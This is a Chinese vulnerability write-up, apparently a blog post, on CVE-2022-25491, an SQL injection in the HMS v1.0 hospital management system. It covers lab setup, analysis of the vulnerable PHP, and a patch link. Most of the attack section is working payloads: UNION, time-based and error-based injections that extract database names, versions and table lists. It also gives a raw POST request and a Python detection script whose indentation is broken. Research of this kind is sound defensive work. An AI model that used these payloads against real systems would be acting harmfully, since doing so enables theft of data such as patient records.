0x01 漏洞相关信息

产品介绍

  HMS是孟加拉国Kabir Khyrul个人开发者的一种基于计算机或网络的医院管理系统。有助于管理医院或任何医疗机构的运作。

漏洞概述

​  2022年3月15日,CVE收录了编号CVE-2022-25491漏洞,该漏洞为在HMS v1.0版本中存在SQL注入漏洞,该漏洞允许攻击者通过手动调试appointment.php文件中的editid软件参数进行SQL注入攻击。

项目 参数
漏洞名称 HMS v1.0 appointment.php editid参数 SQL注入漏洞(CVE-2022-25491)
漏洞编号 CVE-2022-25491
漏洞类型 SQL注入
发现时间 2022-03-15
CVSS3.1等级 7.5(高危)

0x02 环境复现

phpstudy搭建环境

​  这里使用phpstudy v8.1.1.3进行环境复现,Piwigo v12.2.0自行从官网下载搭建,将解压文件直接放在WWW目录下,这里使用Apache v2.4.39+MySQL v5.7.26+php v7.3.4nts+HMS v1.0

安装HMS v1.0

​  从该作者的github网站(https://github.com/kabirkhyrul/HMS/tree/1.0)中下载到资源文件,将其解压放在服务器的WWW目录下,数据库导入目录中hms.sql数据库,打开目录下的dbconnection.php文件,在其中配置数据库的连接,到这里,浏览器就能正常访问了,可以尝试使用(用户:admin/密码:123456789)进行登录测试。

$con=mysqli_connect("localhost","root","123456","hms");
漏洞触发点

​  通过CVE官网了解得到,该漏洞位置在appointment.php文件中的editid参数,这里发送Payload进行查看。

/appointment.php?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,user()%23#查看当前连接用户

union SQL注入显示数据库信息
/appointment.php?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,database()%23#查看当前连接的数据库

/appointment.php?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,version()%23#查看当前数据库版本

/appointment.php?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,@@global.version_compile_os%20from%20mysql.user%23#查看当前操作系统

/appointment.php?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23#查询所有表

http://10.0.13.239:8888/appointment.php?editid=' AND (SELECT 1223 FROM (SELECT(SLEEP(5)))PQRv) AND 'VRKL'='VRKL#基于时间的注入

0x03 漏洞分析

静态分析

appointment.php文件

​  通过appointment.php?editid=可得,SQL注入问题的漏洞出在appointment.php文件中,在该文件中搜索字符串editid,找到4处位置存在,1、2处为isset($_POST[submit])的POST的请求,而我们发送的是GET请求,应该是3、4处的isset($_GET[editid]),这里是进行SQL的查询方法$sql="SELECT * FROM appointment WHERE appointmentid='$_GET[editid]' ";,并且未做过滤,导致了SQL的注入。
​​  可以看到该文件有检测POST后检测editid参数,如果存在的话执行更新语句不存在的话执行更新和插入语句,但其中并未做相应的参数检测,所以应该也是能够进行利用的。

<?php

include("adheader.php");
include("dbconnection.php");
if(isset($_POST[submit]))
{
    if(isset($_GET[editid]))
    {
        $sql ="UPDATE appointment SET patientid='$_POST[select4]',departmentid='$_POST[select5]',appointmentdate='$_POST[appointmentdate]',appointmenttime='$_POST[time]',doctorid='$_POST[select6]',status='$_POST[select]' WHERE appointmentid='$_GET[editid]'";
        if($qsql = mysqli_query($con,$sql))
        {
            echo "<script>alert('appointment record updated successfully...');</script>";
        }else{
            echo mysqli_error($con);
        }	
    }else{
        $sql ="UPDATE patient SET status='Active' WHERE patientid='$_POST[select4]'";
        $qsql=mysqli_query($con,$sql);

        $sql ="INSERT INTO appointment(patientid, departmentid, appointmentdate, appointmenttime, doctorid, status, app_reason) values('$_POST[select4]','$_POST[select5]','$_POST[appointmentdate]','$_POST[time]','$_POST[select6]','$_POST[select]','$_POST[appreason]')";
        if($qsql = mysqli_query($con,$sql))
        {
            include("insertbillingrecord.php");	
            echo "<script>alert('Appointment record inserted successfully...');</script>";
            echo "<script>window.location='patientreport.php?patientid=$_POST[select4]';</script>";
        }else{
            echo mysqli_error($con);
        }
    }
}
if(isset($_GET[editid]))
{
	$sql="SELECT * FROM appointment WHERE appointmentid='$_GET[editid]' ";
	$qsql = mysqli_query($con,$sql);
	$rsedit = mysqli_fetch_array($qsql);
}
?>

动态调试

断点触发

​  PhpStorm调试模式运行HMS v1.0,在SQL执行语句$qsql = mysqli_query($con,$sql);处设置断点,在打开的浏览器访问/appointment.php?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,database()%23,查看参数$sql,可以看到这里注入的SQL语句未检测参数就执行了,从而导致了漏洞。

$sql="SELECT * FROM appointment WHERE appointmentid='-1' union select 1,2,3,4,5,6,7,8,9,database()#'"

漏洞挖掘1

​  在静态分析中,可以确认通过POST也能达到同样的命令执行效果,以下是测试组装的POC1,可以对其中传参作处理,构建新的注入。

$sql ="UPDATE appointment SET patientid='$_POST[select4]',departmentid='$_POST[select5]',appointmentdate='$_POST[appointmentdate]',appointmenttime='$_POST[time]',doctorid='$_POST[select6]',status='$_POST[select]' WHERE appointmentid='$_GET[editid]'";

$sql = "UPDATE appointment SET patientid='',departmentid='',appointmentdate='2022-04-19',appointmenttime='',doctorid='',status='' WHERE appointmentid='-1'union select 1,2,3,4,5,6,7,8,9,database()#'"

  使用Request Maker将该语句改成以下形式,便能修改某一列的全部数据(注意:这里不能用burp)。

UPDATE appointment SET patientid='2',departmentid='2',appointmentdate='2022-04-19',appointmenttime='',doctorid='2',status='0' rlike (select (case when (1=1)then'fd'else(0x28)end))#' WHERE appointmentid='-1';


  使用burp将该语句改成以下形式,便能获取当前数据库名。

UPDATE appointment SET patientid='2',departmentid='2',appointmentdate='2022-04-19',appointmenttime='',doctorid='2',status='0' and updatexml(1,concat(0x23,database()),1) or '' WHERE appointmentid='-1';
POST /appointment.php HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Origin: http://127.0.0.1:8888
Connection: close
Referer: http://127.0.0.1:8888/appointment.php
Cookie: pwg_remember=1-1649924359-sRlecM69L4MAgZiVR%2BdmxkjnYQc%3D; PHPSESSID=r983njeve0rr23sfq3tpcv1rvt
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

select2=Offline&select4=1&select5=&appointmentdate=2022-04-25&time=&select6=&appreason=111&select=0' and updatexml(1,concat(0x23,database()),1) or '&submit=Submit

漏洞挖掘2

  在POST请求后如果未传入editid参数,则会运行else中的SQL语句,从而构建新的SQL注入。

$sql ="UPDATE patient SET status='Active' WHERE patientid='$_POST[select4]'";
UPDATE patient SET status='Active' WHERE patientid=''

$sql ="INSERT INTO appointment(patientid, departmentid, appointmentdate, appointmenttime, doctorid, status, app_reason) values('$_POST[select4]','$_POST[select5]','$_POST[appointmentdate]','$_POST[time]','$_POST[select6]','$_POST[select]','$_POST[appreason]')";

INSERT INTO appointment(patientid, departmentid, appointmentdate, appointmenttime, doctorid, status, app_reason) values('','','2022-04-24','','','','1212')

  通过报错测试来看,这两条注入语句都成功执行了,有回显。

INSERT INTO appointment(patientid, departmentid, appointmentdate, appointmenttime, doctorid, status, app_reason) values('','','2022-04-24','','','bob' or updatexml(1,concat(0x7e,database()),0) or '','1212')//获取当前数据库名

INSERT INTO appointment(patientid, departmentid, appointmentdate, appointmenttime, doctorid, status, app_reason) values('','','2022-04-24','','','bob' or updatexml(1,concat(0x7e,version()),0) or '','1212')//获取当前数据库版本信息


0x04 漏扫插件编写

  该插件先通过判断链接末尾是否携带appointment.php文件名字符串来进行快速判断,从而提高效率,再通过延时注入判定是否存在漏洞,之后再通过version()获取版本号信息,以正则([0-9]*).([0-9]*).([0-9]*)匹配版本号。

import sys,requests,os,re,socket      
if __name__ == "__main__":
    url="http://x.x.x.x:port/appointment.php"
    url_payload = url + "?editid=' AND (SELECT 1223 FROM (SELECT(SLEEP(6)))PQRv) AND 'VRKL'='VRKL"
    res = requests.get(url_payload)
    time = res.elapsed.total_seconds()
    if res.status_code == 200 and res.content and time > 5 and time < 7:
    url_payload1 = url + "?editid=-1%27union%20select%201,2,3,4,5,6,7,8,9,version()%23"
    req = requests.get(url_payload1)
    pattern = re.search('([0-9]*).([0-9]*).([0-9]*)',req.content)
    if pattern:
        print("------------CVE-2022-25491 success-------------")

0x05 解决方案

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:https://github.com/kabirkhyrul/HMS/discussions/8

0x06 参考链接

CNNVD:http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202203-1467
Kabir Khyrul的HMS v1.0库:https://github.com/kabirkhyrul/HMS/tree/1.0
版权声明:本文为HOPEAMOR原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/HOPEAMOR/p/16251404.html